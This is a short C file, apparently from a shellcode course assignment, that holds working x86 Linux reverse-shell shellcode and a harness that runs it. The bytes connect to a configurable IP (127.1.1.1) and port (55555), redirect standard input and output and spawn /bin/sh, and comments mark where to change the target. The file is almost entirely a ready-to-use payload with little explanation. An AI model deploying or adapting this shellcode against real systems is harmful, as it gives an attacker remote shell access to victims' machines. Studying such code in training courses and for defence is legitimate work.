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Shell Reverse TCP Shellcode in C Language
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// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shellcode.c | |
#include <stdio.h> | |
#include <string.h> | |
unsigned char code[] = \ | |
"\x68" | |
"\x7f\x01\x01\x01" // <- IP Number "127.1.1.1" | |
"\x5e\x66\x68" | |
"\xd9\x03" // <- Port Number "55555" | |
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02" | |
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79" | |
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a" | |
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f" | |
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" | |
"\xeb\xce"; | |
main () | |
{ | |
// When the IP contains null-bytes, printf will show a wrong shellcode length. | |
printf("Shellcode Length: %d\n", strlen(code)); | |
// Pollutes all registers ensuring that the shellcode runs in any circumstance. | |
__asm__ ("movl $0xffffffff, %eax\n\t" | |
"movl %eax, %ebx\n\t" | |
"movl %eax, %ecx\n\t" | |
"movl %eax, %edx\n\t" | |
"movl %eax, %esi\n\t" | |
"movl %eax, %edi\n\t" | |
"movl %eax, %ebp"); | |
int (*ret)() = (int(*)())code; | |
ret(); | |
} |
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